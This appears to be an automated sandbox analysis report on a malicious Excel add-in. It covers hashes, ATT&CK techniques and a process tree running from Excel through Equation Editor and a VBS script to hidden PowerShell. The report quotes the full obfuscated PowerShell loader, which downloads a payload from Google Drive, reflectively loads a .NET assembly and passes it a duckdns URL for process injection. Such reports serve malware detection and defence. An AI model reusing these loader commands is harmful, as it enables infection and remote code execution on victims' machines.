5dd806fc72d207069c7bd891704426a5d457c96c4c240080da0eaa53cd32535b

General

Target

5dd806fc72d207069c7bd891704426a5d457c96c4c240080da0eaa53cd32535b.xlam
Size

730KB
MD5

198c709b7725cb126accf23c7758f4b5
SHA1

f503ff807d067968dea7b5ad5ee990eb0f21b374
SHA256

5dd806fc72d207069c7bd891704426a5d457c96c4c240080da0eaa53cd32535b
SHA512

ef3107a2df4b259d1ab480cbfdd29ccff38c01db2989e8f37de2dde290f7dea7860b6aae31d0becbe3864e9490df08793451d75b543d3d90f0fa454a391115b3
SSDEEP

12288:8UkuUmH9/U+RW3VPyOf/3RtDwTHjnTdM7dm2336UEPL3BVI4lt85DxMcaZ4eBytu:85uUg9d0hb/Bt0TLOYjTXI4qxMcgyZfu

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=17kQITFJZ1tqdqTVyc8JyKCRsAb083F4G

exe.dropper

https://drive.google.com/uc?export=download&id=17kQITFJZ1tqdqTVyc8JyKCRsAb083F4G

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2176	EQNEDT32.EXE
7	2780	powershell.exe
9	2780	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2624	powershell.exe
2780	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	drive.google.com
7	drive.google.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
2176	EQNEDT32.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
600	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2624	powershell.exe
2780	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	2780	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
600	EXCEL.EXE
600	EXCEL.EXE
600	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2176 wrote to memory of 2884	2176	EQNEDT32.EXE	32
PID 2176 wrote to memory of 2884	2176	EQNEDT32.EXE	32
PID 2176 wrote to memory of 2884	2176	EQNEDT32.EXE	32
PID 2176 wrote to memory of 2884	2176	EQNEDT32.EXE	32
PID 2884 wrote to memory of 2624	2884	WScript.exe	33
PID 2884 wrote to memory of 2624	2884	WScript.exe	33
PID 2884 wrote to memory of 2624	2884	WScript.exe	33
PID 2884 wrote to memory of 2624	2884	WScript.exe	33
PID 2624 wrote to memory of 2780	2624	powershell.exe	35
PID 2624 wrote to memory of 2780	2624	powershell.exe	35
PID 2624 wrote to memory of 2780	2624	powershell.exe	35
PID 2624 wrote to memory of 2780	2624	powershell.exe	35

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\5dd806fc72d207069c7bd891704426a5d457c96c4c240080da0eaa53cd32535b.xlam
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:600

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2176
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\medicallaboratory.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2884
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWVYICgoJ21CUScrJ2ltYWdlVXJsID0gQnJ0aHR0cHM6JysnLy9kcml2ZS5nb29nbGUuY28nKydtL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xN2tRSVRGSloxdHFkcVRWeWM4SnlLQ1JzQWIwODNGNEcgQnJ0O21CUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzJysndGVtLk5ldC5XZScrJ2JDbGllbnQ7bUJRaW1hZ2VCeXRlcyA9IG1CUXdlYkNsaWVudC5Eb3dubG9hZERhdGEobUJRaW1hZ2UnKydVcmwpO21CUWltYWdlVGV4dCA9IFtTeXN0ZScrJ20uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG1CUWltYWdlQnl0ZXMpO21CUXN0YXJ0RmxhZyA9IEJydDw8QkFTRTY0X1NUQVJUPj5CcnQ7bUJRZW5kRmxhZyA9IEJydDw8QkFTRTY0X0VORD4+QnJ0O21CUXN0YXJ0SW5kZXggPSBtQlFpbWFnZVRleHQuSW5kZXhPZihtQlFzdGFydEZsYWcpO21CUWVuZEluZGV4ID0gbUJRaW1hZ2VUZXh0LkluZGV4T2YobUJRZW5kRmxhZyk7bUJRc3RhJysncnRJbmRleCAtZ2UgMCAtYW5kIG1CUWVuZEluZGV4JysnIC1ndCBtQlFzdGFydEluZGV4O21CUXN0YXJ0SW5kZXgnKycgKz0gbUJRc3RhcnRGbGFnLkxlbmd0aDttQlFiYXNlNjRMZW5ndGggPSBtQlFlbmRJbmRleCAtIG1CUXN0YXJ0SW5kZXg7bUJRYmFzZScrJzY0Q29tbWFuZCA9IG1CUWltYWdlVGV4dC5TdWJzdHJpbmcobUJRc3RhcnRJbmRleCwgbUJRYmFzZTY0TGVuZ3RoKTttQlFiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChtQlFiJysnYXNlNjRDb21tYW5kLlRvQ2hhckFyJysncmF5KCkgc0l6IEZvckVhJysnY2gtT2JqJysnZWN0IHsgbUJRXyB9KVstMS4uLShtQicrJ1FiYXNlNicrJzRDJysnb21tYW5kLkxlbmd0aCldO21CUWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcobUJRYmFzZTY0UmUnKyd2ZXJzZWQpO21CUWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzJysnc2VtYmx5XTo6TG9hZChtQlFjb21tYW5kQnl0ZXMpO21CUXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoQnJ0VkFJQnJ0KTttQlF2YWlNZXRob2QuSW52b2tlKG1CUW51bGwsIEAoQnJ0dHh0LmJiYmJiYmJiYmJiZXdtYWRhbS9ncm8uc25ka2N1ZC5yZWdhbmFtbGEnKydjb2x5YWRpcmYvLycrJzpwdHRoQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRkZXNhdGl2YWRvQnJ0LCBCcnRBZGRJJysnblByb2Nlc3MzMkJydCwgQnJ0ZGVzYXRpdmFkb0JydCwgQnJ0ZGVzYXRpdmFkb0JydCknKycpOycpLlJFUExhY2UoJ21CUScsW1NUUmluR11bY0hBcl0zNikuUkVQTGFjZSgoW2NIQXJdNjYrW2NIQXJdMTE0K1tjSEFyXTExNiksW1NUUmluR11bY0hBcl0zOSkuUkVQTGFjZSgoW2NIQXJdMTE1K1tjSEFyXTczK1tjSEFyXTEyMiksJ3wnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2624
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "IeX (('mBQ'+'imageUrl = Brthttps:'+'//drive.google.co'+'m/uc?export=download&id=17kQITFJZ1tqdqTVyc8JyKCRsAb083F4G Brt;mBQwebClient = New-Object Sys'+'tem.Net.We'+'bClient;mBQimageBytes = mBQwebClient.DownloadData(mBQimage'+'Url);mBQimageText = [Syste'+'m.Text.Encoding]::UTF8.GetString(mBQimageBytes);mBQstartFlag = Brt<<BASE64_START>>Brt;mBQendFlag = Brt<<BASE64_END>>Brt;mBQstartIndex = mBQimageText.IndexOf(mBQstartFlag);mBQendIndex = mBQimageText.IndexOf(mBQendFlag);mBQsta'+'rtIndex -ge 0 -and mBQendIndex'+' -gt mBQstartIndex;mBQstartIndex'+' += mBQstartFlag.Length;mBQbase64Length = mBQendIndex - mBQstartIndex;mBQbase'+'64Command = mBQimageText.Substring(mBQstartIndex, mBQbase64Length);mBQbase64Reversed = -join (mBQb'+'ase64Command.ToCharAr'+'ray() sIz ForEa'+'ch-Obj'+'ect { mBQ_ })[-1..-(mB'+'Qbase6'+'4C'+'ommand.Length)];mBQcommandBytes = [System.Convert]::FromBase64String(mBQbase64Re'+'versed);mBQloadedAssembly = [System.Reflection.As'+'sembly]::Load(mBQcommandBytes);mBQvaiMethod = [dnlib.IO.Home].GetMethod(BrtVAIBrt);mBQvaiMethod.Invoke(mBQnull, @(Brttxt.bbbbbbbbbbbewmadam/gro.sndkcud.reganamla'+'colyadirf//'+':ptthBrt, BrtdesativadoBrt, BrtdesativadoBrt, BrtdesativadoBrt, BrtAddI'+'nProcess32Brt, BrtdesativadoBrt, BrtdesativadoBrt)'+');').REPLace('mBQ',[STRinG][cHAr]36).REPLace(([cHAr]66+[cHAr]114+[cHAr]116),[STRinG][cHAr]39).REPLace(([cHAr]115+[cHAr]73+[cHAr]122),'|'))"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
66ecf26784802c8ce7a6741ae7ac99c6

SHA1
68fd7f02d6b6c16c1a8ec62007af88d404751ad9

SHA256
b030f2258888f98b5a83e6575ae26719cfe27072ca531449a4d614a91e117eab

SHA512
e5c00c543fa1e99c778f91cc0fe5fa8327ad4669eaaa8b4b54dd1032a921d912de7b74c6506d21a6674b06fd77e8c054ef40abbbb7e420ecc6a68ba03bb88c5c

Download Submit
C:\Users\Admin\AppData\Roaming\medicallaboratory.vbs

Filesize
192KB

MD5
1e74a1e9b214a5e7de05d71bc03849e8

SHA1
4313868bae215573da78b467d5a7390a6a86117c

SHA256
01eed58d2c0ff62733000b76b6ab80124480f5af9195a33c3157c60df2f3cd80

SHA512
3fcb390d7bae3e6d0ae3e0cc4d50825a27872930633747bbcc07e75ccbb2d392336fe8cb6267ca2bbf05b88002249b7d41a9eb9f8559d719058fda18d90ef4af

Download Submit
memory/600-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/600-1-0x000000007253D000-0x0000000072548000-memory.dmp

Filesize
44KB

Download
memory/600-16-0x000000007253D000-0x0000000072548000-memory.dmp

Filesize
44KB

Download

Analysis

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